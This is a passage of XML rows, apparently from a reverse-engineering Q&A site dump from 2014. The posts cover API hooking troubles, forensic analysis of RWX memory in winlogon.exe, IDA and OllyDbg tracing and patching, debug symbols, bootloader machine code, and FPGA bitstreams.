}&#xA;&#xA;    fclose( file );&#xA;&#xA;    return TRUE;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Addendum: I'm using a Windows 32 bit environment because ultimately I'll be trying this approach on an older legacy 32 bit application and the injector doesn't seem to work unless they're on the same platform.&lt;/p&gt;&#xA;" OwnerUserId="3771" LastEditorUserId="3771" LastEditDate="2014-01-27T17:18:58.443" LastActivityDate="2014-09-19T00:19:52.287" Title="Why is mhook failing to hook my function?" Tags="|ida|windows|ollydbg|c++|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3566" PostTypeId="2" ParentId="3565" CreationDate="2014-01-27T13:56:47.893" Score="2" Body="&lt;p&gt;This is more a comment than an answer (but comments are to short and limited in formatting), so I'll make it community wiki:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXTERN_C IMAGE_DOS_HEADER __ImageBase;&#xA;#define GetCurrentModuleBase() ((HMODULE)&amp;amp;__ImageBase)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically you can save the effort with your implementation completely and use the above as a replacement. Also, the era of 32bit-only-Windows is over. Using &lt;code&gt;DWORD&lt;/code&gt; for a memory address is improper and definitely out of style by now.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="3256" LastEditDate="2014-09-19T00:19:52.287" LastActivityDate="2014-09-19T00:19:52.287" CommentCount="3" CommunityOwnedDate="2014-01-27T13:56:47.893" ContentLicense="CC BY-SA 3.0" />
  <row Id="3567" PostTypeId="1" CreationDate="2014-01-27T15:44:01.237" Score="2" ViewCount="475" Body="&lt;p&gt;On a clean Windows XP SP2 installation running inside a VirtualBox VM, when doing a snapshot with vboxmangage debugvm --dumpguestcore and analyzing it in Volatility, I always find 9 VADs with PAGE_EXECUTE_READWRITE permissions in winlogon.exe process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already asked this question here, but for winlogon and csrss process: &#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3440/vads-with-rwx-permission-in-winlogon-and-csrss-processes&quot;&gt;VADs with RWX permission in winlogon and csrss processes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to find out that RWX VADs in csrss.exe processes are heaps. Unforunately I can't confirm this for the VADs in winlogon.exe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I've read an article &quot;Integrity verification of user space code&quot; in the Digital Investigations journal, where there is some information about these RWX VADs. The article can be found here: &lt;a href=&quot;http://www.dfrws.org/2013/proceedings/DFRWS2013-12.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.dfrws.org/2013/proceedings/DFRWS2013-12.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this article Andrew White and his colleagues make the following statement:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Aside from the default executable sections, Windows XP&#xA;  also exhibits some default behaviour in two system pro-&#xA;  cesses that create unverifiable allocations. The first &#xA;  process is winlogon.exe, in which 9 executable and writable &#xA;  allocations are created that appear to onlycontain data. &#xA;  Each of these allocations are 4 pages long, and are sparsely &#xA;  populated. The locations of these allocations can be found &#xA;  in an array within the .data section of winlogon.exe, typically&#xA;  starting at winlogon.exe + 0x72b0c.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unforunately I can't confirm this. Which I assume is due to me using Windows XP SP2 while they use XP SP3. Which probably results in a change of this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code they've written for their approach is open source (it is based on volatility plugins), you can find it here: &lt;a href=&quot;https://github.com/a-white/Hashtest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/a-white/Hashtest&lt;/a&gt; The function they've written to extract the array in the data section is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_winlogon_allocations(self, task, ps_ad):&#xA;    &quot;&quot;&quot;Get the EXECUTE_READWRITE pages used by winlogon&quot;&quot;&quot;&#xA;    if str(task.ImageFileName) == &quot;winlogon.exe&quot;:&#xA;        base = task.SectionBaseAddress&#xA;        addrs = []&#xA;        # TODO - determine better method of finding offset&#xA;        start = 0x72b0c  # will change for other versions of winlogon&#xA;        current = start&#xA;        while True:&#xA;            value = ps_ad.zread(base + current, 4)&#xA;            value = struct.unpack(&quot;&amp;lt;L&quot;, value)[0]&#xA;            if value &amp;gt; 0 and value % 0x1000 == 0:&#xA;                addrs.append(value)&#xA;                current += 0x8&#xA;            else:&#xA;                break&#xA;        return addrs&#xA;    else:&#xA;        return []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you have an idea how they found this address? Or any hints that can point me to the correct address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance and best regards!&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-01-28T20:50:11.250" Title="VADs with RWX permission in winlogon.exe process" Tags="|windows|memory|digital-forensics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3568" PostTypeId="1" CreationDate="2014-01-27T19:53:39.193" Score="2" ViewCount="616" Body="&lt;p&gt;I have some questions regarding IDA and Ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, is there a way to create a record with traced instructions and let the debugger automatically break, when it hits an instruction that hasn't been traced in the record ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second question is refering to IDA tracing options. &#xA;I wrote a simple Win32 GUI application in C++ which mainly consists of a message pump (&lt;code&gt;GetMessage&lt;/code&gt;, &lt;code&gt;TranslateMessage&lt;/code&gt; and &lt;code&gt;DispatchMessage&lt;/code&gt;) and a &lt;code&gt;WindowProcedure&lt;/code&gt;. I tried the following: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I set a breakpoint in the message pump;&lt;/li&gt;&#xA;&lt;li&gt;Started the tracing from there;&lt;/li&gt;&#xA;&lt;li&gt;Set a second breakpoint in the &lt;code&gt;WindowProcedure&lt;/code&gt; that triggers a break when I click on a button. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What IDA traced are only the instructions from the message pump not the ones from the &lt;code&gt;WindowProcedure&lt;/code&gt;, though it should at least have traced the &lt;code&gt;DefaultWindowProc&lt;/code&gt; instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me whats the reason for that?&lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="53" LastEditDate="2014-02-05T16:00:52.670" LastActivityDate="2014-02-05T16:00:52.670" Title="How to break on instruction that hasn't been traced yet?" Tags="|ida|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3569" PostTypeId="1" AcceptedAnswerId="3570" CreationDate="2014-01-28T01:18:24.130" Score="3" ViewCount="1603" Body="&lt;p&gt;I recently read that GCC annotates the source-code into the debug symbols it produces, although I haven't found any examples on how to retrieve this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true, how can I view the data in the debug symbols, mainly the code annotations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the steps I need to complete starting with a gcc compiled dll with debug symbols.&lt;/p&gt;&#xA;" OwnerUserId="2806" LastActivityDate="2014-01-28T11:40:34.860" Title="How to extract information from dll compiled in gcc with debug symbols?" Tags="|decompilation|debuggers|dll|debugging|compilers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3570" PostTypeId="2" ParentId="3569" CreationDate="2014-01-28T05:57:35.230" Score="1" Body="&lt;p&gt;Use either &lt;a href=&quot;http://sourceware.org/binutils/docs/binutils/readelf.html&quot; rel=&quot;nofollow&quot;&gt;readelf&lt;/a&gt; utility with -w (or --debug-dump) command line switch or &lt;a href=&quot;https://sourceware.org/binutils/docs/binutils/nm.html&quot; rel=&quot;nofollow&quot;&gt;nm&lt;/a&gt; utility with -a command line switch.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-01-28T11:40:34.860" LastActivityDate="2014-01-28T11:40:34.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3571" PostTypeId="2" ParentId="3553" CreationDate="2014-01-28T11:41:12.110" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;First three bytes in file: 4D 5A 40 OllyDbg memory dump: 4D 5A 90&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as we can see from Wine's loader codes&#xA;&lt;a href=&quot;https://github.com/mirrors/wine/blob/master/libs/wine/loader.c&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mirrors/wine/blob/master/libs/wine/loader.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dos-&amp;gt;e_magic    = IMAGE_DOS_SIGNATURE;&#xA;dos-&amp;gt;e_cblp     = 0x90;                           &amp;lt;-- hardcoded 0x90 val&#xA;dos-&amp;gt;e_cp       = 3;&#xA;dos-&amp;gt;e_cparhdr  = (sizeof(*dos)+0xf)/0x10;&#xA;dos-&amp;gt;e_minalloc = 0;&#xA;dos-&amp;gt;e_maxalloc = 0xffff;&#xA;dos-&amp;gt;e_ss       = 0x0000;&#xA;dos-&amp;gt;e_sp       = 0x00b8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Number of Sections 3 - 2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I dont know, but maybe WINE processes section with IMAGE_SCN_MEM_DISCARDABLE flag ( which is used only in r0 drivers in Windows ), so when you are standing on EntryPoint - those sections are not mapped already ?&lt;/p&gt;&#xA;" OwnerUserId="3209" LastActivityDate="2014-01-28T11:41:12.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3572" PostTypeId="1" CreationDate="2014-01-28T13:03:50.617" Score="12" ViewCount="1732" Body="&lt;p&gt;I have more than 40 different IDA signature files (besides the built-in ones) and sometimes I don't want to go through the hassle of examining what signatures may be relevant for a given target. Instead I just want to apply all signatures, one at a time, and have IDA tell me which ones had the most matches in the target. Doing this manually is very tedious because&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;IDA only allows applying 1 signature in each apply operation&lt;/li&gt;&#xA;&lt;li&gt;The application order of signatures influences how many matches a given signature generates. For example, when sig A is applied it may mean sig B misses some matches that A has matched before it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I imagine the plugin/script would do something like this: apply sig A to the target database, count matches, then remove the application of sig A and apply B, count matches, then remove the application and apply C and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has nobody else ever had this idea? I have been unable to find a plugin or script that does this, and I would rather not write my own if one already exists.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2014-02-03T05:39:54.277" Title="IDA plugin/script for generating signature statistics (for all sigs) for a target?" Tags="|ida|ida-plugin|flirt-signatures|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3573" PostTypeId="2" ParentId="3567" CreationDate="2014-01-28T17:14:17.937" Score="1" Body="&lt;p&gt;I was able to find the correct address in winlogon.exe process for Windows XP SP2. It is 0x71ac4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dumped the winlogon.exe process from memory using volatility. Then with a hex-editor I was able to find the addresses of the RWX VADs in the process, the array of addresses starts at 0x71ac4. The problem why I could not find these addresses in the first place is simple: it's the endianness. I searched for little-endian occurrences of the addresses but they are in big-endian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to one of my co-workers for pointing me on this. :-)&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2014-01-28T17:14:17.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3574" PostTypeId="2" ParentId="3567" CreationDate="2014-01-28T20:50:11.250" Score="2" Body="&lt;p&gt;winlogon iirc allocates &lt;code&gt;more than 9 RWX&lt;/code&gt; pages but does not free only these &lt;code&gt;9 pages&lt;/code&gt; until you create the dump&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you observe these pages in dump because dump is premature death    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you wait sufficiently in shut down/logoff path you can probably catch the VirtualFree()'s    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i already posted in the previous post you linked that almost all these pages contain code that saves teh flags and registers with pushf pushad sequence and jumps to some address via jmp eax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is a live stack where code is executed from an RWX page (this page will be freed wont be available when you create dump)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one way to find out the address in your setup could be to search the dump for the specific &lt;code&gt;DWORD&lt;/code&gt; that is shown in !vad output a RWX page in winlogon memory  a sample of which is also pasted below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; kb&#xA;ChildEBP RetAddr  Args to Child              &#xA;01e8f8b8 01010cf0 00000000 000080fd 00004000 winlogon!RmvpOpenNtDeviceFromWin32Path+0x23b&#xA;01e8f904 01010bd8 000002a4 000002a4 00000000 winlogon!RmvpOpenNtDeviceFromWin32Path+0x1ea&#xA;01e8f91c 0100e477 000002a4 000002a4 00000000 winlogon!RmvpOpenNtDeviceFromWin32Path+0xd2&#xA;01e8fc04 01058b0a 00000001 01058c00 01e8fc4c winlogon!CheckForUserObjectUpdates+0xb3&#xA;01e8fc70 02f7179d 000002a4 01049efc 00000000 winlogon!AutoPtrBase&amp;lt;_SECURITY_DESCRIPTOR&amp;gt;::AutoPtrBase&amp;lt;_SECURITY_DESCRIPTOR&amp;gt;+0x20&#xA;WARNING: Frame IP not in any known module. Following frames may be wrong.&#xA;01e8fef8 7c92796d 000002a4 7c97e460 000cfb20 0x2f7179d&#xA;01e8ff40 7c9279ab 01049efc 000002a4 00000000 ntdll!RtlpWorkerCallout+0x70&#xA;01e8ff60 7c927a6d 00000000 000002a4 000cfb20 ntdll!RtlpExecuteWorkerRequest+0x1a&#xA;01e8ff74 7c927a44 7c927991 00000000 000002a4 ntdll!RtlpApcCallout+0x11&#xA;01e8ffb4 7c80b713 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87&#xA;01e8ffec 00000000 7c910250 00000000 00000000 kernel32!BaseThreadStart+0x37&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;one page in call stack is not in any known module disassemble and look&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ub 02f7179d&#xA;02f71789 0000            add     byte ptr [eax],al&#xA;02f7178b 0000            add     byte ptr [eax],al&#xA;02f7178d 0000            add     byte ptr [eax],al&#xA;02f7178f 0000            add     byte ptr [eax],al&#xA;02f71791 53              push    ebx&#xA;02f71792 52              push    edx&#xA;02f71793 e8f8ca09fe      call    winlogon!DeleteRasConnections+0x3c (0100e290)&#xA;02f71798 e8d78a0efe      call    winlogon!CreateAndHoldWPAGlobalMutex (0105a274)&#xA;kd&amp;gt; u 02f7179d&#xA;02f7179d 9c              pushfd&#xA;02f7179e 60              pushad&#xA;02f7179f 56              push    esi&#xA;02f717a0 57              push    edi&#xA;02f717a1 6a08            push    8&#xA;02f717a3 e854cb09fe      call    winlogon!DeleteRasConnections+0xa8 (0100e2fc)&#xA;02f717a8 ffe0            jmp     eax&#xA;02f717aa 90              nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so winlogon!CreateAndHoldWPAGlobalMutex (0105a274) is being executed from an unknown page&#xA;when our access breakpoint broke &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r&#xA;eax=968dab54 ebx=00010000 ecx=000080fd edx=0000ffff esi=00000000 edi=00010000&#xA;eip=01010d41 esp=01e8f8b0 ebp=01e8f8b8 iopl=0         nv up ei ng nz na po nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282&#xA;winlogon!RmvpOpenNtDeviceFromWin32Path+0x23b:&#xA;001b:01010d41 c1f810          sar     eax,10h  &amp;lt;--- eip is +1 when hardware bp is hit&#xA;&#xA;kd&amp;gt; ub @eip&#xA;winlogon!RmvpOpenNtDeviceFromWin32Path+0x21f:&#xA;01010d25 03c6            add     eax,esi&#xA;01010d27 5e              pop     esi&#xA;01010d28 5d              pop     ebp&#xA;01010d29 c20800          ret     8&#xA;01010d2c a1042b0701      mov     eax,dword ptr [winlogon!MMX_available+0x39c (01072b04)]  &amp;lt; read access not hit &#xA;01010d31 69c0fd430300    imul    eax,eax,343FDh&#xA;01010d37 05c39e2600      add     eax,269EC3h&#xA;01010d3c a3042b0701      mov     dword ptr [winlogon!MMX_available+0x39c (01072b04)],eax  &amp;lt; we hit write access here match eax with data &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and 72b0c also holds the page address from where execution is happening &#xA;try !vad on winlogon and confirm if it is RWX and search winlogon memory &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dd 01072b04 l4&#xA;01072b04  968dab54 00000002 02f70000 00000000&#xA;&#xA;&#xA;kd&amp;gt; !process 0 0 winlogon.exe&#xA;PROCESS 81167cf8  SessionId: 0  Cid: 0218    Peb: 7ffdf000  ParentCid: 0168&#xA;    DirBase: 088f5000  ObjectTable: e14a0600  HandleCount: 185.&#xA;    Image: winlogon.exe&#xA;&#xA;&#xA;&#xA;kd&amp;gt; !grep -i -c &quot;!vad @@c++(((nt!_EPROCESS *) 0x81167cf8)-&amp;gt;VadRoot)&quot; -e &quot;execute_readwrite&quot;&#xA;&#xA;812287d8 ( 9)       2f70     2f73         4 Private      EXECUTE_READWRITE &#xA;&#xA;&#xA;kd&amp;gt; dd 01072b04 &#xA;01072b04  968dab54 00000002 02f70000 00000000&#xA;01072b14  00000000 00000000 00000000 00000000&#xA;01072b24  00000000 00000000 00000000 00000000&#xA;01072b34  00000000 00000000 00000000 00000000&#xA;01072b44  00000000 00000000 00000000 00000000&#xA;01072b54  00000000 00000000 00000000 00000000&#xA;01072b64  00000000 00000000 00000000 00000000&#xA;01072b74  00000000 00000000 00000000 00000000&#xA;&#xA;&#xA;kd&amp;gt; lm m winlo*&#xA;start    end        module name&#xA;01000000 01081000   winlogon   (pdb symbols)    &#xA;&#xA;&#xA;kd&amp;gt; s -d winlogon l?81000 02f70000&#xA;01072b0c  02f70000 00000000 00000000 00000000  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can search your dump for rwx page address instead of 72b0c if it showed say 68900&#xA;you will be able to find cross referances to the address in winlogon address space &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(windbg command # (search assembly pattern )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; # 72b0c 1008000 l?11000&#xA;winlogon!CheckForUserObjectUpdates+0x49:&#xA;0100e40d 8b04c50c2b0701  mov     eax,dword ptr winlogon!MMX_available+0x3a4 (01072b0c)[eax*8]&#xA;winlogon!MprLogonNotify+0xda:&#xA;01010812 8b04f50c2b0701  mov     eax,dword ptr winlogon!MMX_available+0x3a4 (01072b0c)[esi*8]&#xA;winlogon!RmvpOpenNtDeviceFromWin32Path+0x157:&#xA;01010c5d 8934fd0c2b0701  mov     dword ptr winlogon!MMX_available+0x3a4 (01072b0c)[edi*8],esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the last one is a write location and edi contains the count &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the RWX VirtualAlloc in xp sp3 you should be able to find similar pattern in sp2 also&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01010CDC  PUSH    40               ; /Protect = PAGE_EXECUTE_READWRITE&#xA;01010CDE  PUSH    3000             ; |AllocationType = MEM_COMMIT|MEM_RESERVE&#xA;01010CE3  PUSH    4000             ; |Size = 4000 (16384.)&#xA;01010CE8  PUSH    ESI              ; |/Arg2 = FFFFFFFF&#xA;01010CE9  PUSH    0                ; ||Arg1 = 00000000&#xA;01010CEB  CALL    winlogon.01010D05; |\winlogon.01010D05&#xA;01010CF0  IMUL    EAX, EBX         ; |&#xA;01010CF3  ADD     EAX, EDI         ; |ntdll.7C910228&#xA;01010CF5  PUSH    EAX              ; |Address = NULL&#xA;01010CF6  CALL    K32.VirtualAlloc]; \VirtualAlloc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-01-28T20:50:11.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3575" PostTypeId="1" CreationDate="2014-01-28T23:04:48.453" Score="2" ViewCount="358" Body="&lt;p&gt;I am having trouble displaying simple text.&#xA;I am trying to do it all in machine code with &lt;code&gt;INT 10h&lt;/code&gt;, but:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't find the binary opcode for &lt;code&gt;INT 10h&lt;/code&gt; anywhere in the Intel Manual.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't figure out how to load the binary ASCII representation of &quot;Hello world!&quot; in to the data segment register (&lt;code&gt;DS&lt;/code&gt;, which needs 12 bytes of data to represent the full text data).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I considered doing it by writing directly to memory-mapped VGA memory, but that appeared harder than using interrupts from BIOS. And I'm not fully knowledgeable on this full scope of how that'd work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me sort this out here, please? I don't need help with x86 instructions &lt;em&gt;per se&lt;/em&gt;, but with how I'd encode this all in binary properly, and where to find all interrupts' opcodes.&lt;/p&gt;&#xA;" OwnerUserId="3781" LastEditorUserId="25222" LastEditDate="2018-08-06T07:55:35.807" LastActivityDate="2018-08-06T07:55:35.807" Title="Issues writing a bootloader in x86 16-bit machine code" Tags="|memory|encodings|machine-code|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3576" PostTypeId="2" ParentId="3575" CreationDate="2014-01-28T23:37:43.703" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To call an interrupt, you'll probably want to use &lt;code&gt;int imm8&lt;/code&gt; which is encoded as &lt;code&gt;0xcd&lt;/code&gt;, &lt;code&gt;0xnn&lt;/code&gt; (&lt;code&gt;0x10&lt;/code&gt; in this case).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For bootloaders, it's pretty common to stick the data in between the &lt;code&gt;jmp&lt;/code&gt; at the start of the bootloader and its target. You don't really need to mess around with &lt;code&gt;ds&lt;/code&gt; unless you're making a very large bootloader (which loads additional sectors from disk).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For an interrupt reference, should you need such a thing, I'd probably suggest &lt;a href=&quot;http://www.ctyme.com/rbrown.htm&quot; rel=&quot;noreferrer&quot;&gt;Ralph Browns Interrupt List&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2014-01-29T08:31:46.733" LastActivityDate="2014-01-29T08:31:46.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3577" PostTypeId="2" ParentId="3568" CreationDate="2014-01-29T15:56:11.150" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Intel's Pin software can do this. It may take some effort, however.&lt;/li&gt;&#xA;&lt;li&gt;Is WindowProcedure a system call? I don't think IDA can debug kernel code - you may have to use windbg if that is the case.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="3784" LastEditDate="2014-01-29T16:10:33.723" LastActivityDate="2014-01-29T16:10:33.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3578" PostTypeId="2" ParentId="3575" CreationDate="2014-01-29T17:43:42.390" Score="4" Body="&lt;p&gt;Regarding (2), you don't load the entire string into the segment register, you take the selector for the memory region that holds the string, and place &lt;em&gt;that&lt;/em&gt; into the segment register.  For 16-bit bootloader environment, it's probably going to be the same as CS, so you just &lt;code&gt;push cs, pop ds&lt;/code&gt; (though usually &lt;code&gt;cs=ds=es=ss&lt;/code&gt; already on startup, anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To write to the video memory, just load &lt;code&gt;0xb800&lt;/code&gt; into &lt;code&gt;es&lt;/code&gt;, and then the brute-force way to write to the screen looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov es:[0], 'H'&#xA;mov es:[2], 'e'&#xA;mov es:[4], 'l'&#xA;mov es:[6], 'l'&#xA;mov es:[8], 'o'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, so on. This is not the optimal way, of course.  Normally, you would use a loop and a string operation, or just use the BIOS calls.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="53" LastEditDate="2014-02-02T13:33:57.553" LastActivityDate="2014-02-02T13:33:57.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3579" PostTypeId="1" CreationDate="2014-01-29T20:43:26.453" Score="5" ViewCount="7711" Body="&lt;p&gt;I'm editing executables on a(n) (almost) daily bases in Ollydbg and it is very annoying that the 'Copy all modifications to executable' doesn't work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the code I edit in the .text section is copied to the new executable, but all the changes made to the .rsrc section (resources) is not copied. (Using 'Copy all...')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save my changes made in the .rsrc section, I need to select the modified code in this section and specifically click 'Copy to executable'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a workaround to actually copy &lt;strong&gt;ALL&lt;/strong&gt; modifications?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="3268" LastEditDate="2014-02-01T11:44:43.563" LastActivityDate="2014-04-03T18:38:53.020" Title="Ollydbg 'Copy all modifications to executable' doesn't copy all modifications" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3580" PostTypeId="2" ParentId="3572" CreationDate="2014-01-29T20:43:30.297" Score="1" Body="&lt;p&gt;There is a plugin called &lt;strong&gt;BinDiff&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have renamed Sub_Routines in one IDA DB, you are able to run BinDiff between your current one and a new DB that hasn't been refactored yet. The only down side is it's a little time consuming for binaries that are 30mb+ in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qhA6k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/qhA6k.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3786" LastActivityDate="2014-01-29T20:43:30.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3584" PostTypeId="1" CreationDate="2014-01-30T16:52:01.700" Score="6" ViewCount="206" Body="&lt;p&gt;I am looking for an algorithm or some tips on how to find scope changes when doing static analysis of a decompiled ASM source. I need to know the scope changes for tracking stack usage and reaching definitions for variables. If I have a program like&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int somefunc(int b) {&#xA;&#xA;// Scope 1&#xA;a = b + 1;&#xA;&#xA;if(a &amp;gt; 0) {&#xA;  // Scope 2&#xA;  a = 0&#xA;} else {&#xA;  // Scope 3&#xA;  a = b;&#xA;}&#xA;&#xA;return a;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I have constructed the flow graph from the assembly, how do I know then scope changes from 1-2 and back from 2-1 etc? My only guess so far is it would have something to do with dominance and checking for subgraphs. Some of the issues that I would see with this approach would be the loops or statements that have early terminations such as break; continue; return - they will produce a graph where you can not determine dominance and won't be able to tell when your scope increases or decreases.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2014-01-30T16:57:49.227" LastActivityDate="2014-05-30T21:51:55.617" Title="Static Analysis - Scope Changes" Tags="|static-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3585" PostTypeId="2" ParentId="85" CreationDate="2014-01-30T19:36:15.107" Score="2" Body="&lt;p&gt;Xilinx Virtex II had an &quot;open&quot; bitstream, meaning that the bitstream format was documented and public. People could then manipulate the bitstream as they saw fit. Since then, the format has been closed (IMO) to keep people from (1) RE'ing the device which is a big concern for some interests and (2) to keep their technology a secret from competitors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newer technologies allow for the bitstream to be encrypted from within the FPGA toolchain and to do internal decryption before programming the FPGA. So, you'll need to make sure that the bitstream you've captured is decrypted before trying to analyze it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, with the realization of Partial Reconfiguration (through Xilinx), RE attempts will become more complicated as you can no longer sit-and-watch behavior of devices.&lt;/p&gt;&#xA;" OwnerUserId="3796" LastActivityDate="2014-01-30T19:36:15.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
